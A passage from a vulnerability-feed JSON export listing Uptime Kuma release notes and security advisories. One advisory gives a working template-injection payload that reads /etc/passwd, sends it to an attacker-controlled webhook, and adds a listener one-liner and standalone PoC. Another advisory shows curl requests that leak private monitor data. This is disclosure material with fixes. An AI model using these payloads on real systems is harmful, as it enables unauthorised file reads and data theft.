fix: resolve Steam monitor hostnames (Thanks @yuminn-k)\r\n- #7520 fix(discord): timezone with `dayjs.utc()` (Thanks @skkzsh)\r\n- #7516 fix: omit resolver port from DNS monitor service URL (Thanks @skkzsh)\r\n- #7515 fix(monitor): screenshot_delay not saved when editing browser engine monitor (Thanks @GhadiSaab)\r\n- #7472 fix: add timeout functionality to kafka (Thanks @jfgsilva)\r\n- #7465 fix: preserve saved protocol when loading Globalping ping monitor (Thanks @titojuanc)\r\n- #7460 fix: prevent tags dropdown from overflowing viewport (Thanks @Subrat-Dwivedi-22)\r\n- #7290 fix: allow mqtts:// in MQTT monitor (Thanks @Mrstragr @chennin)\r\n\r\n### ⬆️ Security Fixes\r\n- #7538 #7349 chore: Update dependencies \r\n- #7508 chore: Set 14 days cooldown for npm update to mininize the supply-chain-attack \r\n\r\n### 🦎 Translation Contributions\r\n- #7521 #7477 chore: Translations Update from Weblate (Thanks @aindriu80 @Aluisio @andibing @AnnAngela @AntonPalmqvist @arcanjobr @bill162 @ctih1 @cyril59310 @dodog @firedur @Goudarz @Gringit @helakostain @ivanbratovic @kamine81 @kiznick @Mr-Mmmc @MrEddX @OnyxOracle @PolarniMeda @ramazansancar @samsilveira @superpep)\r\n\r\n### Others\r\n- #7544 chore: change analytics_type to string type from enum \r\n- #7543 chore: add build \"pr-test\" workflow, add a message for testing to new pr. \r\n- #7541 chore: Add an ability to enable node.js inspector \r\n- #7535 chore: Remove meaningless entries from en.json \r\n- #7496 chore: Login form minor changes \r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.5.0","published_at":"2026-08-01T16:35:53Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744913Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12691","html":"https://vulnwatch.ve1ve2.com/item/12691"}},{"id":12692,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.4.0","summary":"Security keywords: security, vulnerable, remote code execution, vulnerability, GHSA-GF2Q-C269-PQGC\n\n### 🆕 New Features\r\n- #7434 feat(notification): add EgoSMS SMS provider for Uganda (Thanks @kristianinc @cursoragent)\r\n- #7420 feat: Add incidents to RSS (Thanks @dj-tuxis)\r\n- #7365 feat: Add VKTeams bot notification provider (Thanks @aleshasam)\r\n\r\n### 💇‍♀️ Improvements\r\n- #7433 feat: add optional token field for gamedig monitors (Thanks @aminoacidity)\r\n- #7415 feat: Adding bearer token  (Thanks @aminoacidity @nyeswant)\r\n- #7431 fix: Add bearer token support to WebSocket upgrade monitor (Thanks @aminoacidity @nyeswant)\r\n- #7373 fix: update link to documentation about API keys (Thanks @eleanordoesntcode)\r\n\r\n### 🐞 Bug Fixes\r\n- ~#7453 fix(docker-only): add Let's Encrypt Gen Y root certificates~ (Please ignore this change)\r\n- #7451 fix: handling npm 11.16.0 \r\n- #7351 fix: NTLM monitor over plain HTTP fails with 400 Bad Request (Thanks @karzac)\r\n\r\n### ⬆️ Security Fixes\r\n-  (Admin only/Authenticated only) Fix: LiquidJS is Vulnerable to Remote Code Execution, a vulnerability from an upstream dependency. In Uptime Kuma, LiquidJS should be used in notification template. (https://github.com/advisories/GHSA-gf2q-c269-pqgc)\r\n\r\n### 🦎 Translation Contributions\r\n- #7366 #7353 chore: Translations Update from Weblate (Thanks @aindriu80 @Aluisio @andibing @AnnAngela @Arden-Ahmad @bartoostveen @cyril59310 @dodog @Gringit @helakostain @ivanbratovic @Jumala9163 @Kf637 @master3395 @MrEddX @OnyxOracle @PolarniMeda @samsilveira @toniv90 @ttymayor @Virenbar @xuantan97)\r\n\r\n### Others\r\n- #7432 chore: Implement dev data directory handling for non-master branches \r\n- #7390 fix: normalize hidden log level lookup (Thanks @aqilaziz)","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.4.0","published_at":"2026-05-31T00:55:12Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744914Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"GHSA-gf2q-c269-pqgc","vuln_ids":["GHSA-GF2Q-C269-PQGC"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11798,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12692","html":"https://vulnwatch.ve1ve2.com/item/12692"}},{"id":12693,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.3.2","summary":"### 🐞 Bug Fixes\r\n- #7346 fix: Revert back from multiple connection to single connection for SQLite by default \r\n\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.3.2","published_at":"2026-05-03T16:15:29Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744915Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12693","html":"https://vulnwatch.ve1ve2.com/item/12693"}},{"id":12694,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.3.1","summary":"### 🐞 Bug Fixes\r\n- #7307 fix: Add `busy_timeout` to sqlite to avoid error `SQLITE_BUSY: database is locked` (Thanks @wagnerand)\r\n\r\n### Others\r\n- #7340 chore: Update dependencies \r\n- #7345 chore: update to 2.3.1\r\n- #7344 fix(push): use multi-arch Node base in push image Dockerfile (Thanks @herwinz)\r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.3.1","published_at":"2026-05-03T13:40:11Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744916Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12694","html":"https://vulnwatch.ve1ve2.com/item/12694"}},{"id":12695,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.3.0","summary":"### ⚠️ Breaking changes\r\n- #7194 fix: Revert \"add sorting to status pages\"\r\n  - No more sorting feature in status pages.\r\n  - Due to bad performance.\r\n- #7312 fix(database): add `UPTIME_KUMA_SQLITE_SINGLE_CONNECTION`\r\n  - For Raspberry Pi users, you may have to set it to `true` to avoid SQLite locking issues. \r\n  - Mainly affected Raspberry Pi users only, you can ignore it if you are not using devices like Raspberry Pi.\r\n\r\n### 🆕 New Features\r\n- #7304 feat: websocket improve to fix issue #7268 including support authentication (Thanks @sofia-fernandez-six)\r\n- #7207 feat(notification): add custom message template support for Evolution provider (Thanks @kbrianps)\r\n- #7201 feat: add Telnyx messaging provider (Thanks @LuvForAirplanes)\r\n- #7182 feat: Add VK notification provider (Thanks @FunNikita)\r\n- #7160 feat: Add MAX messenger notification provider (Thanks @Redleks)\r\n- #7156 feat: add OracleDB monitor (Thanks @sitiom)\r\n- #7154 feat: add collapsible groups to status page (Thanks @marco-carvalho)\r\n\r\n### 💇‍♀️ Improvements\r\n\r\n- #7303 feat(ui): add a helptext that RTT for the ping monitor is not avaliable on linux (Thanks @stchigel)\r\n- #7300 feat(ux): changed warning msg (Thanks @hemanth5544)\r\n- #7128 fix: Update Home Assistant notification help text for HA 2024 Services→Actions rename (Thanks @tr4nt0r)\r\n\r\n### 🐞 Bug Fixes\r\n\r\n- #7248 fix(notification): check for monitorJSON in Stackfield provider (Thanks @jlbrt)\r\n- #7166 fix: Handle SSL in setup database temp server \r\n- #7235 fix(uptime): ensure correct handling of missing time buckets in uptime calculations (Thanks @adrianceding)\r\n- #7221 fix(notification): ensure applyExisting is not saved to database \r\n- #7198 fix: Domain expiry doesn't seem to update #7189 (Thanks @shanto)\r\n- #7155 fix: propagate create errors (Thanks @otbutz)\r\n- #7159 fix: monitor graph gaps for sub-millisecond TCP pings (Thanks @0xRozier)\r\n- #7125 fix: prometheus metrics have two series for a single monitor when that monitor has tags (Thanks @nicjansma)\r\n\r\n### 🦎 Translation Contributions\r\n- #7108 feat: Add English (United Kingdom) language support (Thanks @andibing)\r\n- #7292 #7197 #7132 chore: Translations Update from Weblate (Thanks @aindriu80 @Ale1x @Aluisio @andibing @AnnAngela @CammarataLudovico @cyril59310 @dodog @efenow @fcordeiro @firedur @FunNikita @Gringit @Hamstio1 @helakostain @ivanbratovic @kevinheyer-dev @mlopezcoria @Mo7amm1d @MrEddX @numarkpro @Redleks @rodis120 @samsilveira @thisisjaymehta @ttymayor @Virenbar @wibe01204 @Zeromskas)\r\n\r\n### Others\r\n- #7317 #7195 #7133 chore: Update dependencies \r\n- #7204 chore: Add agents.md - anti AI slop \r\n- #7146 chore: Add monthly workflow to build `push` Docker image ","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.3.0","published_at":"2026-05-01T04:01:17Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744916Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12695","html":"https://vulnwatch.ve1ve2.com/item/12695"}},{"id":12011,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-v832-4r73-wx5j / CVE-2026-33130: Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read","summary":"Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read\n\n# Incomplete fix for GHSA-vffh-c9pq-4crh\r\n\r\n**Version:** 2.1.3, LiquidJS 10.24.0\r\n**Related:** GHSA-vffh-c9pq-4crh (marked patched in 2.0.0)\r\n\r\n## What's happening\r\n\r\nThe fix from GHSA-vffh-c9pq-4crh doesn't fully work. The three mitigations added to the Liquid engine (`root`, `relativeReference`, `dynamicPartials`) only block quoted paths. If you use an unquoted absolute path, you can still read any file on the server:\r\n\r\n```\r\n{% render /etc/passwd %}\r\n```\r\n\r\nI reproduced this end-to-end on 2.1.3 and still got the full `/etc/passwd` contents sent to a webhook endpoint.\r\n\r\n## Why the current fix doesn't work\r\n\r\nThe mitigations in `notification-provider.js` are:\r\n\r\n```javascript\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\n```\r\n\r\nThese only protect the first two steps of LiquidJS's file resolution. There's a third step, a `require.resolve()` fallback at `liquid.node.js:2793-2796`, that has **no containment check at all**:\r\n\r\n```javascript\r\n// liquid.node.js line 2793-2796\r\nif (fs.fallback !== undefined) {\r\n    const filepath = fs.fallback(file);  // calls require.resolve(), no contains() check\r\n    if (filepath !== undefined)\r\n        yield filepath;\r\n}\r\n```\r\n\r\nThe reason quoted paths are blocked is just a quirk: `readFileNameTemplate()` keeps the literal quote characters, so `require.resolve('\"/etc/passwd\"')` fails with `MODULE_NOT_FOUND`. Without quotes, `require.resolve('/etc/passwd')` happily returns the real path.\r\n\r\n## Who can exploit this\r\n\r\nAny authenticated user since there's no RBAC in Uptime Kuma. The notification handlers only call `checkLogin(socket)`, so any compromised login can set up a malicious template.\r\n\r\n## Steps to reproduce\r\n\r\n1. Log in to Uptime Kuma\r\n2. Go to any monitor → Edit → Set Up Notification\r\n3. Pick **Webhook**, set Post URL to an endpoint you control\r\n4. Change Request Body to **Custom Body**\r\n5. Enter: `{% render /etc/passwd %}`\r\n6. Click **Test**\r\n7. Check your listener > the full file contents are in the request body\r\n\r\nWorks with `{% include /etc/passwd %}` too. Any file readable by the Node process is fair game.\r\n\r\nFor a quick listener to catch the output:\r\n```bash\r\nnode -e \"require('http').createServer((req,res)=>{let b='';req.on('data',c=>b+=c);req.on('end',()=>{console.log(b);res.end('ok')})}).listen(9999)\"\r\n```\r\n\r\n## Standalone PoC (no running instance needed)\r\n\r\n```javascript\r\nconst { Liquid } = require(\"liquidjs\");\r\nconst engine = new Liquid({\r\n    root: \"./no-such-directory-uptime-kuma\",\r\n    relativeReference: false,\r\n    dynamicPartials: false,\r\n});\r\nengine.render(engine.parse(\"{% render /etc/passwd %}\"), {}).then(console.log);\r\n```\r\n\r\n## Suggested fix\r\n\r\nRemove the file-inclusion tags from the engine. Notification templates shouldn't need them:\r\n\r\n```javascript\r\nconst engine = new Liquid({ ... });\r\ndelete engine.tags[\"render\"];\r\ndelete engine.tags[\"include\"];\r\ndelete engine.tags[\"layout\"];\r\n```\r\n\r\nThis b\n\nAffected packages: :uptime-kuma\nPatched: uptime-kuma 2.2.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-v832-4r73-wx5j","published_at":"2026-03-16T05:46:42Z","updated_at":"2026-03-17T21:53:53Z","fetched_at":"2026-11-22T13:40:14.883732Z","severity":"medium","cvss_score":6.5,"epss":0.00387,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-33130","vuln_ids":["CVE-2026-33130","GHSA-V832-4R73-WX5J","GHSA-VFFH-C9PQ-4CRH","GHSA-WMFP-5Q7X-987X"],"tags":["repo-advisory","","CWE-98","CWE-1336","security","repo:louislam/uptime-kuma"],"cluster_id":11313,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12011","html":"https://vulnwatch.ve1ve2.com/item/12011"}},{"id":12012,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-c7hf-c5p5-5g6h / CVE-2026-32230: Missing Authorization Check on Ping Badge Endpoint Leaks Ping times of montors without needing to be on a status page","summary":"Missing Authorization Check on Ping Badge Endpoint Leaks Ping times of montors without needing to be on a status page ## Summary The `GET /api/badge/:id/ping/:duration?` endpoint in `server/routers/api-router.js` does not verify that the requested monitor belongs to a public group. All other badge endpoints check `AND public = 1` in their SQL query before returning data. The ping endpoint skips this check entirely, allowing unauthenticated users to extract average ping/response time data for private monitors. ## Affected Code File: `server/routers/api-router.js`, approximately line 304 The ping badge endpoint directly calls `UptimeCalculator.getUptimeCalculator(requestedMonitorId)` without first checking if the monitor is public. Compare with the status badge endpoint (~line 148) which correctly queries: ```sql SELECT monitor_group.monitor_id FROM monitor_group, `group` WHERE monitor_group.group_id = `group`.id AND monitor_group.monitor_id = ? AND public = 1 ``` ## Protected vs Vulnerable Endpoints | Endpoint | Has public=1 check? | |----------|-------------------| | /api/badge/:id/status | Yes | | /api/badge/:id/uptime/:duration? | Yes | | /api/badge/:id/avg-response/:duration? | Yes | | /api/badge/:id/cert-exp | Yes | | /api/badge/:id/response | Yes | | /api/badge/:id/ping/:duration? | **No — vulnerable** | ## PoC 1. Install Uptime Kuma (tested on latest v2 stable via Docker) 2. Create an HTTP(s) monitor (e.g., monitoring http://localhost:3001) 3. Do NOT add the monitor to any public status page or group 4. Wait for heartbeats to accumulate (~5 minutes) 5. Query unauthenticated: ```bash curl http://localhost:3001/api/badge/1/status → returns N/A (correct, monitor is private) curl http://localhost:3001/api/badge/1/ping/24 → returns \"Avg. Ping (24h): 10ms\" (LEAKED) ``` ## Impact An unauthenticated attacker can: - Enumerate private monitor IDs - Extract average response time data for private monitors - Infer existence and reachability of internal monitored services ## Suggested Fix Add the same public monitor check before the UptimeCalculator call: ```javascript let publicMonitor = await R.getRow(` SELECT monitor_group.monitor_id FROM monitor_group, \\`group\\` WHERE monitor_group.group_id = \\`group\\`.id AND monitor_group.monitor_id = ? AND public = 1 `, [requestedMonitorId]); if (!publicMonitor) { badgeValues.message = \"N/A\"; badgeValues.color = badgeConstants.naColor; } ``` Affected packages: npm:uptime-kuma Patched: uptime-kuma 2.2.0","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-c7hf-c5p5-5g6h","published_at":"2026-03-11T06:52:49Z","updated_at":"2026-03-11T15:06:53Z","fetched_at":"2026-11-22T13:40:14.883733Z","severity":"medium","cvss_score":5.3,"epss":0.00981,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-32230","vuln_ids":["CVE-2026-32230","GHSA-C7HF-C5P5-5G6H"],"tags":["repo-advisory","npm","CWE-862","security","repo:louislam/uptime-kuma"],"cluster_id":11316,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12012","html":"https://vulnwatch.ve1ve2.com/item/12012"}},{"id":12696,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.2.1","summary":"Fixes advisories: GHSA-v832-4r73-wx5j\n\nSecurity keywords: security, GHSA-V832-4R73-WX5J, GHSA-WMFP-5Q7X-987X\n\n### 🆕 New Features\r\n- #7109 feat: fluxer notification provider (Thanks @letruxux)\r\n- #7096 feat: set process.title to uptime-kuma (Thanks @Hill-98)\r\n\r\n### 🐞 Bug Fixes\r\n- #7121 fix: isParentActive return type to boolean (Thanks @terisikk)\r\n- #7110 fix(ui): fix fluxer input styling; make discord input hidden (Thanks @letruxux)\r\n- #6915 fix: removal of uptime ratio and avg. response time from prometheus metrics (Thanks @tr4nt0r)\r\n- #7101 fix: revert: remove @aws-sdk, @azure packages \r\n\r\n### ⬆️ Security Fixes\r\nGHSA-v832-4r73-wx5j - Another Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read (fixed in upstream dependency LiquidJS, also see: https://github.com/harttle/liquidjs/security/advisories/GHSA-wmfp-5q7x-987x)\r\n\r\n### 🦎 Translation Contributions\r\n- #7119 #7099 chore: Translations Update from Weblate (Thanks @aindriu80 @Aluisio @cyril59310 @dodog @fabianovich @krmu @letruxux @maxisimonazzi @MrEddX)\r\n\r\n### Others\r\n- #7120 #7100 chore: Update dependencies \r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.2.1","published_at":"2026-03-10T02:25:33Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744918Z","severity":"medium","cvss_score":6.5,"epss":0.00387,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-33130","vuln_ids":["CVE-2026-33130","GHSA-V832-4R73-WX5J","GHSA-VFFH-C9PQ-4CRH","GHSA-WMFP-5Q7X-987X"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11313,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12696","html":"https://vulnwatch.ve1ve2.com/item/12696"}},{"id":12697,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.2.0","summary":"Fixes advisories: GHSA-c7hf-c5p5-5g6h\n\nSecurity keywords: security, GHSA-C7HF-C5P5-5G6H\n\n### 🆕 New Features\r\n- #7088 feat(proxy): allow socks proxy for the notifications (Thanks @ASLanin)\r\n- #7046 feat: add whatsApp (360messenger) notification provider (Thanks @WaMessenger)\r\n- #6989 feat: allow templating in the Signal notificaiton provider (Thanks @karthikeya-333)\r\n\r\n### 💇‍♀️ Improvements\r\n- #6979 refactor: improve SQLite multiple connections \r\n\r\n### 🐞 Bug Fixes\r\n- #7019 fix: Uptime Kuma is not able to start on older version of Node.js 20 (~20.17.0) \r\n- #7076 fix(monitor-list): cannot display monitor name in full width \r\n- #7069 fix(monitor-list): tag list do not update \r\n- #7056 fix(globalping): retry creating the measurement on status 500 (Thanks @radulucut)\r\n- #7055 fix(globalping): show error message when using multiple locations (Thanks @radulucut)\r\n- #7048 fix: Fix domain validation not allowing for PTR DNS records (Thanks @sgdc3)\r\n- #7045 fix: Remove forced DOWN status in group monitor (Thanks @MayMeow)\r\n- #7043 fix: Setting Status Page Analytics Type to \"None\" fails with SQLite constraint violation \r\n- #7011 fix(edit-monitor): several issues in edit page \r\n- #7010 fix(edit-monitor): url validation is incorrect \r\n- #6999 fix: show actual bind address in startup logs (Thanks @mixelburg)\r\n- #6994 fix: preserve Domain Name Expiry Notification setting when editing monitor (Thanks @RohitDarekar816)\r\n- #6984 fix: show certificate expiry on status page for TCP monitors (Thanks @mixelburg)\r\n\r\n### ⬆️ Security Fixes\r\n- GHSA-c7hf-c5p5-5g6h Missing Authorization Check on Ping Badge Endpoint Leaks Ping times of montors (Thanks @kuranikaran)\r\n\r\n### 🦎 Translation Contributions\r\n- #7072 #7007 chore: Translations Update from Weblate (Thanks @2000Arion @abcsnoob @aindriu80 @Aluisio @AnnAngela @AntonPalmqvist @BelenCaSa @cyril59310 @dodog @florian-berger @helakostain @ivanbratovic @kiznick @LovesAsuna @mariogarridopt @MrDariusz @MrEddX @robertcoroianu @Virenbar)\r\n\r\n### Others\r\n\r\n- #7015 chore: follow up #7013 \r\n- #7013 chore: add PR description template check workflow \r\n- #5179 feat: structured logging (JSON) (Thanks @SapphicCode)\r\n- #7092 chore: update to 2.2.0 \r\n- #7071 #6991 chore: Update dependencies \r\n- #7032 chore: remove @aws-sdk, @azure packages \r\n- #7077 chore: generate package-lock.json from scratch to ensure accuracy \r\n- #7058 chore: improve changelog generator ","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.2.0","published_at":"2026-03-05T02:08:14Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744918Z","severity":"medium","cvss_score":5.3,"epss":0.00981,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":"CVE-2026-32230","vuln_ids":["CVE-2026-32230","GHSA-C7HF-C5P5-5G6H"],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":11316,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12697","html":"https://vulnwatch.ve1ve2.com/item/12697"}},{"id":12698,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.1.3","summary":"### 🐞 Bug Fixes\r\n- #6981 fix: rdap data is not actually cached","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.1.3","published_at":"2026-02-19T05:37:30Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744919Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12698","html":"https://vulnwatch.ve1ve2.com/item/12698"}},{"id":12699,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[New release] louislam/uptime-kuma 2.1.2","summary":"### 🆕 New Features\r\n- #6952 feat: Notification provider Teltonika RUTxxx SMS gateway (Thanks @unixerius)\r\n- #6939 feat: add tags to teams notifications (Thanks @thelfensdrfer)\r\n- #6850 feat: add DNS support via Globalping (Thanks @radulucut)\r\n\r\n### 💇‍♀️ Improvements\r\n- #6971 refactor: improve dynamic RDAP DNS data \r\n\r\n### 🐞 Bug Fixes\r\n- #6933 fix: Clear 2.1.0 frontend PWA cache \r\n- #6978 fix: Add helptext about usage to expiry checkboxes \r\n- #6977 fix: handle undefined monitor name in PagerDuty notification summary (Thanks @mixelburg)\r\n- #6960 fix: typo in DNS monitor error message (specifiy → specify) (Thanks @redbasecap-buiss)\r\n- #6897 fix: clearing heartbeats on paused monitors leaves them paused (Thanks @bruce691)\r\n\r\n### 🦎 Translation Contributions\r\n- #6945 chore: Translations Update from Weblate (Thanks @2000Arion @Aluisio @cyril59310 @DJEDIVER @dodog @florian-berger @hernikplays @Kf637 @MrEddX @thelfensdrfer @VeerGosai)\r\n\r\n### Others\r\n- #6969 chore: Add automated npm dependency update workflow \r\n- #6968 chore: Update dependencies \r\n- #6963 chore: Update pull request template with AI usage warning \r\n- #6951 chore: Update PR template with AI usage warning \r\n- #6948 fix: Restrict scheduled workflows to upstream repository \r\n- #6970 fix: npm dependency update GitHub workflow ","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.1.2","published_at":"2026-02-19T05:09:11Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744920Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12699","html":"https://vulnwatch.ve1ve2.com/item/12699"}},{"id":12700,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"[SECURITY RELEASE] louislam/uptime-kuma 2.1.1","summary":"Security keywords: security\n\n### 💇‍♀️ Improvements\r\n- #6899 feat: add customizable matrix notifications (Thanks @namatery)\r\n- #6868 feat: Add Group Name column to the Monitors table on dashboard page (Thanks @evolvomind)\r\n\r\n### 🐞 Bug Fixes\r\n- #6923 fix: Gamedig unable to resolve SRV records by removing redundant DNS resolution in GameDigMonitorType \r\n- #6907 fix: Remove vite-plugin-pwa, avoid this plugin caches files unexpectedly \r\n- #6894 fix: discord notification timestamp & update notification message (Thanks @ryangurn)\r\n- #6887 fix(dashboard): add scroll bar to tags dropdown (Thanks @smartcoder0777)\r\n- #6884 fix(domain-expiry): only enable domain expiry notification when TLD has RDAP support (Thanks @BitWise-0x)\r\n\r\n### 🦎 Translation Contributions\r\n- #6878 #6853 chore: Translations Update from Weblate (Thanks @2000Arion @alihatamitajik @Aluisio @AnnAngela @cyril59310 @dodog @florian-berger @jochemp264 @JWeinelt @Kf637 @michi-onl @MrEddX @Saibamen @simonghpub @tvpetersen)\r\n\r\n### Others\r\n- Other small changes, code refactoring and comment/doc updates in this repo:\r\n- #6927 chore: Update dependencies \r\n- #6877 chore: npm update \r\n- #6925 chore: Update security policy and reporting guidelines \r\n- #6890 chore(generate-changelog): Fix Translation PRs did not merge together \r\n- #6875 chore: Update final release workflow \r\n- #6879 chore: update to 2.1.0 \r\n","url":"https://github.com/louislam/uptime-kuma/releases/tag/2.1.1","published_at":"2026-02-13T16:07:33Z","updated_at":null,"fetched_at":"2026-11-22T14:05:37.744921Z","severity":"unknown","cvss_score":null,"epss":null,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"uptime-kuma","vuln_id":null,"vuln_ids":[],"tags":["release","repo:louislam/uptime-kuma","security","stack","uptime-kuma"],"cluster_id":null,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12700","html":"https://vulnwatch.ve1ve2.com/item/12700"}},{"id":12013,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-9fg7-wgm7-57fh: RSS status feed does not set content type, leading to a Stored XSS in Public Status Page RSS Feed via CDATA escaped Monitor Name IF USING AN UNSECURE CLIENT","summary":"RSS status feed does not set content type, leading to a Stored XSS in Public Status Page RSS Feed via CDATA escaped Monitor Name IF USING AN UNSECURE CLIENT\n\n### Summary\r\n\r\nThe RSS feed for public status pages returns a default `text/html` content type instead of a safe RSS/XML content type. Monitor names are already CDATA-escaped, so the content itself is safe. However, serving the feed as `text/html` can cause browsers to interpret it incorrectly, potentially exposing users to cross-site scripting if the feed is embedded in a web context.\r\n\r\n### Description\r\n\r\nMonitor names are stored safely and rendered within CDATA sections in RSS feed items. The feed is generated dynamically and returned using `response.send()`. Because no explicit content type is set, the response defaults to `text/html`.\r\n\r\nWhile the content is already escaped, serving it as HTML can cause browsers to parse the feed incorrectly, possibly leading to **script execution in certain contexts**, such as embedded feed readers or if the feed is opened directly in a browser. Setting the correct RSS/XML content type ensures browsers interpret the feed safely and reduces risk.\r\n\r\n### Affected Code\r\n\r\n```js\r\n// server/model/status_page.js\r\nresponse.send(await StatusPage.renderRSS(statusPage, slug));\r\n// No Content-Type override (defaults to text/html)\r\n```\r\n\r\n### Impact\r\n\r\n* Incorrect content type can lead to unsafe rendering in some browsers or feed readers\r\n* Low likelihood of XSS due to CDATA escaping, but setting a proper type mitigates potential risk\r\n* Affects anyone consuming the RSS feed in a browser context\r\n\r\nSeverity is assessed as **Low**, since user content is already escaped and the risk requires a specific client behavior.\r\n\r\n### Recommended Fix\r\n\r\n* Explicitly set the content type to a safe RSS/XML type:\r\n\r\n```js\r\nresponse.type('application/rss+xml');\r\n```\r\n\r\n* Ensure all user-controlled content remains properly escaped in CDATA sections\r\n* Optionally, apply a Content Security Policy (CSP) to further mitigate browser risks\r\n\r\n### CWE\r\n\r\n* **CWE-116** – Improper Encoding or Escaping of Output\r\n\r\n### References\r\n\r\n* OWASP XSS 